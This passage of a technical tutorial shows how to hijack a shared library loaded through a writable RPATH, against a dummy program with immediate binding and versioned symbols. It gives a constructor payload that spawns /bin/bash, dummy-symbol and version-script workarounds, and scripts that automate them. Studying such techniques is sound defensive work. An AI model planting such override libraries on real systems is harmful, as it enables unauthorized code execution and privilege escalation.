<p>As a bonus annoyance the program may expect to find version information attached to the symbols of a shared library, otherwise warnings are generated by the dynamic linker at runtime.</p>
<h2 id="the-vulnerable-program">The vulnerable program</h2>
<p>Let’s start by writing a dummy vulnerable program containing all the tricks highlighted so far. The library exports a function that simply greets the caller:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* shared.c */</span>
<span class="cp">#include <stdio.h>
</span>
<span class="kt">void</span> <span class="nf">greet</span><span class="p">()</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"hello!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>While the program simply calls it:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* main.c */</span>
<span class="kt">void</span> <span class="nf">greet</span><span class="p">();</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
<span class="n">greet</span><span class="p">();</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<h3 id="compiling-the-library-with-version-information">Compiling the library with version information</h3>
<p>In compiling the shared library we must add version information, this can be accomplished by creating a version script file<sup id="fnref:ld-version" role="doc-noteref"><a href="#fn:ld-version" class="footnote" rel="footnote">2</a></sup> like the following:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* shared.version */</span>
<span class="n">SHARED_1</span><span class="p">.</span><span class="mi">0</span> <span class="p">{</span>
<span class="o">*</span><span class="p">;</span>
<span class="p">};</span>
</code></pre></div></div>
<p>And compiling with:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span><span class="w"> </span>gcc <span class="nt">-fPIC</span> <span class="nt">-shared</span> <span class="nt">-Wl</span>,--version-script<span class="o">=</span>shared.version shared.c <span class="nt">-o</span> libshared.so
</code></pre></div></div>
<p>This basically tells the compiler to assign the <code class="language-plaintext highlighter-rouge">SHARED_1.0</code> version name to all the exported symbols in the library. We can check by inspecting the library with <code class="language-plaintext highlighter-rouge">objdump</code>:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span><span class="w"> </span>objdump <span class="nt">-j</span> .text <span class="nt">-T</span> libshared.so
<span class="go">
libshared.so: file format elf64-x86-64
DYNAMIC SYMBOL TABLE:
0000000000000710 g DF .text 0000000000000012 SHARED_1.0 greet
</span></code></pre></div></div>
<h3 id="compiling-the-program-with-immediate-binding-and-custom-rpath">Compiling the program with immediate binding and custom RPATH</h3>
<p>The program itself can be compiled with<sup id="fnref:env-var" role="doc-noteref"><a href="#fn:env-var" class="footnote" rel="footnote">3</a></sup>:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span><span class="w"> </span>gcc <span class="nt">-L</span><span class="nb">.</span> <span class="nt">-Wl</span>,-rpath,. <span class="nt">-Wl</span>,-z,now <span class="nt">-lshared</span> main.c <span class="nt">-o</span> main
</code></pre></div></div>
<p>Relevant bits are:</p>
<ul>
<li>
<p><code class="language-plaintext highlighter-rouge">-rpath,.</code> that sets the runtime library search path (<code class="language-plaintext highlighter-rouge">RPATH</code>) to the working directory from where the program has been run (for the sake of the example);</p>
</li>
<li>
<p><code class="language-plaintext highlighter-rouge">-z,now</code> that enables immediate binding.</p>
</li>
</ul>
<p>Again, <code class="language-plaintext highlighter-rouge">objdump</code> allows to check that everything is as expected:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span><span class="w"> </span>objdump <span class="nt">-x</span> main | <span class="nb">grep</span> <span class="s1">'BIND_NOW\|RPATH'</span>
<span class="go"> RPATH .
BIND_NOW 0x0000000000000000
</span></code></pre></div></div>
<h2 id="naive-approach">Naive approach</h2>
<p>The simplest attempt to override <code class="language-plaintext highlighter-rouge">libshared.so</code> requires to write something like this:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* override.c */</span>
<span class="cp">#include <stdio.h>
#include <unistd.h>
</span>
<span class="n">__attribute__</span><span class="p">((</span><span class="n">constructor</span><span class="p">))</span>
<span class="kt">void</span> <span class="nf">shell</span><span class="p">()</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Starting a new shell...</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">execl</span><span class="p">(</span><span class="s">"/bin/bash"</span><span class="p">,</span> <span class="s">"/bin/bash"</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>If we compile the above with:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span><span class="w"> </span>gcc <span class="nt">-fPIC</span> <span class="nt">-shared</span> override.c <span class="nt">-o</span> libshared.so
</code></pre></div></div>
<p>And run the program from the same directory we obtain the following errors:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span><span class="w"> </span>./main
<span class="go">./main: ./libshared.so: no version information available (required by ./main)
./main: relocation error: ./main: symbol greet, version SHARED_1.0 not defined in file libshared.so with link time reference
</span></code></pre></div></div>
<p>As previously mentioned: a warning about the lack of version information, a relocation error and our payload is not executed.</p>
<h2 id="fixing-the-relocation-error">Fixing the relocation error</h2>
<p>Since the error is about not finding the <code class="language-plaintext highlighter-rouge">greet</code> symbol, one could simply create a dummy symbol with that name within the override library. The actual type of the symbol is not important since we plan to run our initializer (that doesn’t return) even before the actual program starts.</p>
<p>So just adding, for example, <code class="language-plaintext highlighter-rouge">int greet;</code> to <code class="language-plaintext highlighter-rouge">override.c</code> is enough for the linker which now runs our initializer:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span><span class="w"> </span>./main
<span class="go">./main: ./libshared.so: no version information available (required by ./main)
Starting a new shell...
</span><span class="gp">$</span><span class="w"> </span><span class="nb">echo</span> <span class="nv">$SHLVL</span>
<span class="go">2
</span></code></pre></div></div>
<h2 id="removing-the-warning">Removing the warning</h2>
<p>This is a minor point, but for the sake of completeness one could wonder how to remove the version information warning. Apparently, with the compilation settings we used, <code class="language-plaintext highlighter-rouge">ld</code> simply checks that the version name <em>appears</em> in the library<sup id="fnref:default-version" role="doc-noteref"><a href="#fn:default-version" class="footnote" rel="footnote">4</a></sup>, it doesn’t check that every symbol exhibits the right value, so passing the following version script to the linker is enough:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* override.version */</span>
<span class="n">SHARED_1</span><span class="p">.</span><span class="mi">0</span> <span class="p">{};</span>
</code></pre></div></div>
<p>Compile as usual with:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span><span class="w"> </span>gcc <span class="nt">-fPIC</span> <span class="nt">-shared</span> override.c <span class="nt">-Wl</span>,--version-script<span class="o">=</span>override.version <span class="nt">-o</span> libshared.so
</code></pre></div></div>
<p>Notice how the warning is gone:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span><span class="w"> </span>./main
<span class="go">Starting a new shell...
</span><span class="gp">$</span><span class="w"> </span><span class="nb">echo</span> <span class="nv">$SHLVL</span>
<span class="go">2
</span></code></pre></div></div>
<h2 id="automating-the-process">Automating the process</h2>
<p>Real-life shared libraries contains many symbols and possibly multiple versions, so a manual approach is not feasible. Fortunately the process can be pretty easily scripted provided that either the target program or shared library is available.</p>
<p>The additional symbol definitions can be obtained with:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span><span class="w"> </span>objdump <span class="nt">-j</span> .text <span class="nt">-T</span> libshared.so | <span class="nb">awk</span> <span class="s1">'NF == 7 { printf "int %s;\n", $7 }'</span> | <span class="nb">tee </span>symbols.h
<span class="gp">int greet;</span><span class="w">
</span></code></pre></div></div>
<p>Similarly for the version script:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span><span class="w"> </span>objdump <span class="nt">-j</span> .text <span class="nt">-T</span> libshared.so | <span class="nb">awk</span> <span class="s1">'NF == 7 { printf "%s {};\n", $6 }'</span> | <span class="nb">sort</span> <span class="nt">-u</span> | <span class="nb">tee </span>override.version
<span class="gp">SHARED_1.0 {};</span><span class="w">
</span></code></pre></div></div>
<p>Now simply add <code class="language-plaintext highlighter-rouge">#include "symbols.h"</code> to <code class="language-plaintext highlighter-rouge">override.c</code> and compile as before.</p>
<p>The same information can be similarly extracted from the program executable by looking up the undefined symbols.</p>
<div class="footnotes" role="doc-endnotes">
<ol>
<li id="fn:dlopen" role="doc-endnote">
<p>Note that the above doesn’t apply if the shared library is loaded with <code class="language-plaintext highlighter-rouge">dlopen</code> using the <code class="language-plaintext highlighter-rouge">RTLD_NOW</code> option because the program doesn’t have any compile-time knowledge of the symbols imported in that case. <a href="#fnref:dlopen" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:ld-version" role="doc-endnote">
<p>More information <a href="https://sourceware.org/binutils/docs/ld/VERSION.html">here</a>. <a href="#fnref:ld-version" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:env-var" role="doc-endnote">
<p>It is likewise possible to avoid compiler options and run the program with the <code class="language-plaintext highlighter-rouge">LD_BIND_NOW=0</code> and <code class="language-plaintext highlighter-rouge">LD_LIBRARY_PATH=.</code>environment variables set instead. <a href="#fnref:env-var" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:default-version" role="doc-endnote">
<p>Using the <code class="language-plaintext highlighter-rouge">-Wl,--default-symver</code> option is not enough, rather, it causes a fatal runtime error. <a href="#fnref:default-version" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
</ol>
</div>Andrea Cardacicyrus.and@gmail.comScenario